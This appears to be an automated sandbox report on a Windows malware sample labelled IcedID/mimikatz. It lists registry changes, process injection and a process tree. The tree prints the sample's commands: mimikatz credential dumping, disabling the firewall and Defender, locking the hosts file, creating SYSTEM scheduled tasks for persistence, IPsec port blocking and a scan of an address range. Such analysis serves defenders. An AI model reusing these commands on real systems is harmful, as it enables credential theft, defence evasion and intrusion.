Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{16C1A56F-9781-4B2A-8B95-1F4C2B54C1EE}\a2-21-f1-08-ae-ab yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-21-f1-08-ae-ab\WpadDecisionReason = "1" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump vekeuubbl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ yrklftl.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 yrklftl.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 yrklftl.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2976 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 240 yrklftl.exe 2332 yrklftl.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 15 IoCs
description pid Process Token: SeDebugPrivilege 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2568 yrklftl.exe Token: SeDebugPrivilege 2512 yrklftl.exe Token: SeDebugPrivilege 768 vfshost.exe Token: SeAuditPrivilege 2536 svchost.exe Token: SeDebugPrivilege 1792 vekeuubbl.exe Token: SeShutdownPrivilege 1792 vekeuubbl.exe Token: SeLockMemoryPrivilege 2220 mitzpm.exe Token: SeLockMemoryPrivilege 2220 mitzpm.exe Token: SeDebugPrivilege 760 vekeuubbl.exe Token: SeShutdownPrivilege 760 vekeuubbl.exe Token: SeDebugPrivilege 1452 vekeuubbl.exe Token: SeShutdownPrivilege 1452 vekeuubbl.exe Token: SeDebugPrivilege 920 vekeuubbl.exe Token: SeShutdownPrivilege 920 vekeuubbl.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe 2568 yrklftl.exe 2568 yrklftl.exe 2512 yrklftl.exe 2512 yrklftl.exe 324 xohudmc.exe 588 koaaya.exe 240 yrklftl.exe 240 yrklftl.exe 2332 yrklftl.exe 2332 yrklftl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1724 wrote to memory of 2920 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe 28 PID 1724 wrote to memory of 2920 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe 28 PID 1724 wrote to memory of 2920 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe 28 PID 1724 wrote to memory of 2920 1724 2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe 28 PID 2920 wrote to memory of 2976 2920 cmd.exe 30 PID 2920 wrote to memory of 2976 2920 cmd.exe 30 PID 2920 wrote to memory of 2976 2920 cmd.exe 30 PID 2920 wrote to memory of 2976 2920 cmd.exe 30 PID 2920 wrote to memory of 2568 2920 cmd.exe 31 PID 2920 wrote to memory of 2568 2920 cmd.exe 31 PID 2920 wrote to memory of 2568 2920 cmd.exe 31 PID 2920 wrote to memory of 2568 2920 cmd.exe 31 PID 2512 wrote to memory of 2472 2512 yrklftl.exe 33 PID 2512 wrote to memory of 2472 2512 yrklftl.exe 33 PID 2512 wrote to memory of 2472 2512 yrklftl.exe 33 PID 2512 wrote to memory of 2472 2512 yrklftl.exe 33 PID 2472 wrote to memory of 2728 2472 cmd.exe 35 PID 2472 wrote to memory of 2728 2472 cmd.exe 35 PID 2472 wrote to memory of 2728 2472 cmd.exe 35 PID 2472 wrote to memory of 2728 2472 cmd.exe 35 PID 2472 wrote to memory of 2380 2472 cmd.exe 36 PID 2472 wrote to memory of 2380 2472 cmd.exe 36 PID 2472 wrote to memory of 2380 2472 cmd.exe 36 PID 2472 wrote to memory of 2380 2472 cmd.exe 36 PID 2472 wrote to memory of 2132 2472 cmd.exe 37 PID 2472 wrote to memory of 2132 2472 cmd.exe 37 PID 2472 wrote to memory of 2132 2472 cmd.exe 37 PID 2472 wrote to memory of 2132 2472 cmd.exe 37 PID 2472 wrote to memory of 2520 2472 cmd.exe 38 PID 2472 wrote to memory of 2520 2472 cmd.exe 38 PID 2472 wrote to memory of 2520 2472 cmd.exe 38 PID 2472 wrote to memory of 2520 2472 cmd.exe 38 PID 2472 wrote to memory of 2652 2472 cmd.exe 39 PID 2472 wrote to memory of 2652 2472 cmd.exe 39 PID 2472 wrote to memory of 2652 2472 cmd.exe 39 PID 2472 wrote to memory of 2652 2472 cmd.exe 39 PID 2472 wrote to memory of 2276 2472 cmd.exe 40 PID 2472 wrote to memory of 2276 2472 cmd.exe 40 PID 2472 wrote to memory of 2276 2472 cmd.exe 40 PID 2472 wrote to memory of 2276 2472 cmd.exe 40 PID 2512 wrote to memory of 2396 2512 yrklftl.exe 41 PID 2512 wrote to memory of 2396 2512 yrklftl.exe 41 PID 2512 wrote to memory of 2396 2512 yrklftl.exe 41 PID 2512 wrote to memory of 2396 2512 yrklftl.exe 41 PID 2512 wrote to memory of 2412 2512 yrklftl.exe 43 PID 2512 wrote to memory of 2412 2512 yrklftl.exe 43 PID 2512 wrote to memory of 2412 2512 yrklftl.exe 43 PID 2512 wrote to memory of 2412 2512 yrklftl.exe 43 PID 2512 wrote to memory of 1456 2512 yrklftl.exe 45 PID 2512 wrote to memory of 1456 2512 yrklftl.exe 45 PID 2512 wrote to memory of 1456 2512 yrklftl.exe 45 PID 2512 wrote to memory of 1456 2512 yrklftl.exe 45 PID 2512 wrote to memory of 2688 2512 yrklftl.exe 47 PID 2512 wrote to memory of 2688 2512 yrklftl.exe 47 PID 2512 wrote to memory of 2688 2512 yrklftl.exe 47 PID 2512 wrote to memory of 2688 2512 yrklftl.exe 47 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 2688 wrote to memory of 1444 2688 cmd.exe 49 PID 1444 wrote to memory of 1780 1444 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1028
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C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2220
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C:\Users\Admin\AppData\Local\Temp\2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-05-22_c9fce9b661ec62999b10335bc3f344e5_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gtgcurlb\yrklftl.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2976
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2568
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2728
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2380
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2132
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2520
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2652
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2276
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2396
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:2412
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:1456
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\iibfpugis\fewectaiq\wpcap.exeC:\Windows\iibfpugis\fewectaiq\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1780
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2248
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:1764
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1220
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:2088
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2284
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2740
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2068
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1732
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2032
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2336
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1600
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:3060
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:540
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt2⤵
- Loads dropped DLL
PID:996 -
C:\Windows\iibfpugis\fewectaiq\itcusielr.exeC:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:580
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iibfpugis\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1484 -
C:\Windows\iibfpugis\Corporate\vfshost.exeC:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:768
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"2⤵PID:2752
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1656
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"3⤵
- Creates scheduled task(s)
PID:812
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"2⤵PID:1652
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1704
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1672
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"2⤵PID:920
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1568
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:880
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:1068
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2164
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1644
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:1936
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2480
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2652
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1636
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2500
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:240
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2216
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2416
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2608
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1756
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:1040
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2184
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1620
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1584
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:1956
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:1932
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:2456
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:1264
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:1664
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2280
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:1476
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:328
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:2284
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:1632
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:2080
